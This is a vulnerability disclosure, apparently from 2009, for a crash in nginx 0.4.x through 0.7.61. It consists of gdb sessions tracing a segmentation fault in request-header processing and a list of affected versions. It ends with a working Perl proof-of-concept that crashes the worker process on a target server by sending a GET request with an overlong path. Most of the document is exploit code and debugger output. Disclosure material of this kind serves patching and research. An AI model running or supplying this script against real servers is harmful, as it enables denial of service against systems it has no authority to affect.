debian:~# uname -a Linux debian 2.6.18-6-686 #1 SMP Thu Aug 20 21:56:59 UTC 2009 i686 GNU/Linux debian:~# cat /etc/issue Debian GNU/Linux 4.0 \n \l debian:~# dpkg -l|grep nginx ii nginx 0.4.13-2+etch2 small, but very powerful and efficient debian:~# ps xauwww|grep worker|grep -v grep www-data 3577 0.0 0.9 2688 928 ? S 01:50 0:00 nginx: worker process debian:~# gdb -p 3577 GNU gdb 6.4.90-debian Copyright (C) 2006 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i486-linux-gnu". Attaching to process 3577 Reading symbols from /usr/sbin/nginx...(no debugging symbols found)...done. Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". Reading symbols from /lib/tls/i686/cmov/libcrypt.so.1...(no debugging symbols found)...done. Loaded symbols for /lib/tls/i686/cmov/libcrypt.so.1 Reading symbols from /usr/lib/libpcre.so.3...(no debugging symbols found)...done. Loaded symbols for /usr/lib/libpcre.so.3 Reading symbols from /usr/lib/libz.so.1...(no debugging symbols found)...done. Loaded symbols for /usr/lib/libz.so.1 Reading symbols from /lib/tls/i686/cmov/libc.so.6... (no debugging symbols found)...done. Loaded symbols for /lib/tls/i686/cmov/libc.so.6 Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done. Loaded symbols for /lib/ld-linux.so.2 Reading symbols from /lib/tls/i686/cmov/libnss_compat.so.2...(no debugging symbols found)...done. Loaded symbols for /lib/tls/i686/cmov/libnss_compat.so.2 Reading symbols from /lib/tls/i686/cmov/libnsl.so.1...(no debugging symbols found)...done. Loaded symbols for /lib/tls/i686/cmov/libnsl.so.1 Reading symbols from /lib/tls/i686/cmov/libnss_nis.so.2... (no debugging symbols found)...done. Loaded symbols for /lib/tls/i686/cmov/libnss_nis.so.2 Reading symbols from /lib/tls/i686/cmov/libnss_files.so.2...(no debugging symbols found)...done. Loaded symbols for /lib/tls/i686/cmov/libnss_files.so.2 Failed to read a valid object file image from memory. 0xb7f06410 in ?? () (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x08068f23 in ?? () (gdb) bt #0 0x08068f23 in ?? () #1 0x080b0540 in ?? () #2 0x080a54e4 in ?? () #3 0x00000000 in ?? () (gdb) i r eax 0x6d4 1748 ecx 0xbff21028 -1074655192 edx 0x80b1794 134944660 ebx 0x80b0540 134939968 esp 0xbff21880 0xbff21880 ebp 0xbff218d8 0xbff218d8 esi 0x80b5630 134960688 edi 0x80b0540 134939968 eip 0x8068f23 0x8068f23 <__gmon_start__@plt+126827> eflags 0x10206 [ PF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) q The program is running. Quit anyway (and detach it)? (y or n) y Detaching from program: /usr/sbin/nginx, process 3577 debian:~# in nginx error log we can see : 2009/10/15 01:53:24 [alert] 2477#0: worker process 3577 exited on signal 11 =============================== here is same test on nginx compiled with debug : (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. ngx_http_process_request_headers (rev=0x80c95d8) at src/http/ngx_http_request.c:793 793 header.data[header.len++] = '.'; (gdb) bt #0 ngx_http_process_request_headers (rev=0x80c95d8) at src/http/ngx_http_request.c:793 #1 0x08069c63 in ngx_http_process_request_line (rev=0x80c95d8) at src/http/ngx_http_request.c:702 #2 0x080668ff in ngx_http_init_request (rev=0x80c95d8) at src/http/ngx_http_request.c:446 #3 0x0805f67e in ngx_epoll_process_events (cycle=0x80a59e8, timer=60000, flags=) at src/event/modules/ngx_epoll_module.c:518 #4 0x08056712 in ngx_process_events_and_timers (cycle=0x80a59e8) at src/event/ngx_event.c:245 #5 0x0805cebd in ngx_worker_process_cycle (cycle=0x80a59e8, data=0x0) at src/os/unix/ngx_process_cycle.c:728 #6 0x0805b9b1 in ngx_spawn_process (cycle=0x80a59e8, proc=0x805c8a2 , data=0x0, name=0x808e46b "worker process", respawn=-2) at src/os/unix/ngx_process.c:187 #7 0x0805c470 in ngx_start_worker_processes (cycle=0x80a59e8, n=1, type=-2) at src/os/unix/ngx_process_cycle.c:327 #8 0x0805d442 in ngx_master_process_cycle (cycle=0x80a59e8) at src/os/unix/ngx_process_cycle.c:119 #9 0x0804ae5b in main (argc=1, argv=0xbfd72ac4) at src/core/nginx.c:332 (gdb) i r $eip eip 0x8068e52 0x8068e52 (gdb) =============================== tested on versions 0.7.0 <= 0.7.61, 0.6.0 <= 0.6.38, 0.5.0 <= 0.5.37, 0.4.0 <= 0.4.14 ================================ here is POC: #!/usr/bin/perl use IO::Socket; if ($#ARGV != 0) { print "Usage: ./nginx.pl \n"; exit;} $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => '80', Proto => 'tcp'); $mysize = 4079; $mymsg = "o" x $mysize; print $sock "GET /$mymsg HTTP/1.1\r\n\r\n"; while(<$sock>) { print; }